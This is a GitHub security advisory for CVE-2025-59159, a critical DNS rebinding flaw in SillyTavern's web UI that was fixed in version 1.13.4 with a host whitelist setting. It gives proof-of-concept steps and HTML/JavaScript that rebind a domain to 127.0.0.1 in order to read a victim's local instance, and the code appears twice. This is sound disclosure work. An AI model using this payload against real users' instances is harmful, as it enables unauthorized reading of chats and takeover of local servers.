ghsa-7cxj-w27x-x78q
Vulnerability from github
Summary
The web UI for SillyTavern is susceptible to DNS rebinding, allowing attackers to perform actions like install malicious extensions, read chats, inject arbitrary HTML for phishing, etc.
Details
DNS rebinding is a method to bypass the CORS policies by tricking the browser into resolving something like 127.0.0.1
for a site's DNS address. This allows anybody to get remote access to anyone's SillyTavern instance without it being exposed, just by visiting a website.
PoC
- Host the PoC HTML file on a
/rebind.html
endpoint (or any other endpoint) on a web server on port 8000 - Go to https://lock.cmpxchg8b.com/rebinder.html and input your IP address (A) to rebind to 127.0.0.1 (B)
- Replace the URL in the HTML with the returned URL on the site
- Go to
http://[URL]:8000/rebind.html
in firefox or on any mobile browser if you're using termux - Check the developer tools console. It should return all of the data
Here is the PoC code:
```html
Rebind Payload async function tryRebind() { while (true) { try { let res = await fetch("http://[DOMAIN HERE]:8000/"); let text = await res.text(); if (text.includes("Directory listing for /")) { console.log("Still attacker server, retrying..."); await new Promise(r => setTimeout(r, 2000)); continue; // don't break yet } console.log("GOT VICTIM RESPONSE!"); console.log(text.substring(0, 300)); break; } catch (e) { console.log("Fetch failed, retrying...", e); await new Promise(r => setTimeout(r, 2000)); } } } tryRebind();```
Impact
Attackers can read user chats, inject HTML for stuff like phishing, download arbitrary malicious extensions, etc. Essentially gaining full control over users' SillyTavern systems.
Resolution
A vulnerability has been patched in the version 1.13.4 by introducing a server configuration setting that enables a validation of host names in inbound HTTP requests according to the provided list of allowed hosts: hostWhitelist.enabled
in config.yaml file or SILLYTAVERN_HOSTWHITELIST_ENABLED
environment variable.
While the setting is disabled by default to honor a wide variety of existing user configurations and maintain backwards compatibility, existing and new users are encouraged to review their server configurations and apply necessary changes to their setup, especially if hosting over the local network while not using SSL.
Resources
- https://github.com/SillyTavern/SillyTavern/commit/d134abd50e4a416e3b81233242583b0a23f38320
{ "affected": [ { "package": { "ecosystem": "npm", "name": "sillytavern" }, "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "1.13.4" } ], "type": "ECOSYSTEM" } ] } ], "aliases": [ "CVE-2025-59159" ], "database_specific": { "cwe_ids": [ "CWE-346", "CWE-940" ], "github_reviewed": true, "github_reviewed_at": "2025-10-06T20:18:55Z", "nvd_published_at": "2025-10-06T16:15:34Z", "severity": "CRITICAL" }, "details": "### Summary\nThe web UI for SillyTavern is susceptible to DNS rebinding, allowing attackers to perform actions like install malicious extensions, read chats, inject arbitrary HTML for phishing, etc.\n\n### Details\nDNS rebinding is a method to bypass the CORS policies by tricking the browser into resolving something like `127.0.0.1` for a site\u0027s DNS address. This allows anybody to get remote access to anyone\u0027s SillyTavern instance **without** it being exposed, just by visiting a website. \n\n### PoC\n1. Host the PoC HTML file on a `/rebind.html` endpoint (or any other endpoint) on a web server on port 8000\n2. Go to https://lock.cmpxchg8b.com/rebinder.html and input your IP address (A) to rebind to 127.0.0.1 (B)\n3. Replace the URL in the HTML with the returned URL on the site\n4. Go to `http://[URL]:8000/rebind.html` in firefox or on any mobile browser if you\u0027re using termux\n5. Check the developer tools console. It should return all of the data \n\nHere is the PoC code:\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\n \u003cmeta charset=\"utf-8\"\u003e\n \u003ctitle\u003eRebind Payload\u003c/title\u003e\n\u003c/head\u003e\n\u003cbody\u003e\n\u003cscript\u003e\nasync function tryRebind() {\n while (true) {\n try {\n let res = await fetch(\"http://[DOMAIN HERE]:8000/\");\n let text = await res.text();\n\n if (text.includes(\"Directory listing for /\")) {\n console.log(\"Still attacker server, retrying...\");\n await new Promise(r =\u003e setTimeout(r, 2000));\n continue; // don\u0027t break yet\n }\n\n console.log(\"GOT VICTIM RESPONSE!\");\n console.log(text.substring(0, 300));\n break;\n\n } catch (e) {\n console.log(\"Fetch failed, retrying...\", e);\n await new Promise(r =\u003e setTimeout(r, 2000));\n }\n }\n}\ntryRebind();\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n### Impact\nAttackers can read user chats, inject HTML for stuff like phishing, download arbitrary malicious extensions, etc. Essentially gaining full control over users\u0027 SillyTavern systems. \n\n### Resolution\nA vulnerability has been patched in the version 1.13.4 by introducing a server configuration setting that enables a validation of host names in inbound HTTP requests according to the provided list of allowed hosts: `hostWhitelist.enabled` in config.yaml file or `SILLYTAVERN_HOSTWHITELIST_ENABLED` environment variable.\n\nWhile the setting is disabled by default to honor a wide variety of existing user configurations and maintain backwards compatibility, existing and new users are encouraged to review their server configurations and apply necessary changes to their setup, especially if hosting over the local network while not using SSL.\n\n- [Documentation](https://docs.sillytavern.app/administration/config-yaml/#host-whitelisting)\n- [Security checklist](https://docs.sillytavern.app/administration/#security-checklist)\n\n### Resources\n- https://github.com/SillyTavern/SillyTavern/commit/d134abd50e4a416e3b81233242583b0a23f38320", "id": "GHSA-7cxj-w27x-x78q", "modified": "2025-10-06T20:18:55Z", "published": "2025-10-06T20:18:55Z", "references": [ { "type": "WEB", "url": "https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-7cxj-w27x-x78q" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59159" }, { "type": "WEB", "url": "https://github.com/SillyTavern/SillyTavern/commit/d134abd50e4a416e3b81233242583b0a23f38320" }, { "type": "WEB", "url": "https://docs.sillytavern.app/administration/#security-checklist" }, { "type": "WEB", "url": "https://docs.sillytavern.app/administration/config-yaml/#host-whitelisting" }, { "type": "PACKAGE", "url": "https://github.com/SillyTavern/SillyTavern" }, { "type": "WEB", "url": "https://github.com/SillyTavern/SillyTavern/releases/tag/1.13.4" } ], "schema_version": "1.4.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "type": "CVSS_V3" } ], "summary": "SillyTavern Web Interface Vulnerable DNS Rebinding" }
Sightings
Author | Source | Type | Date |
---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.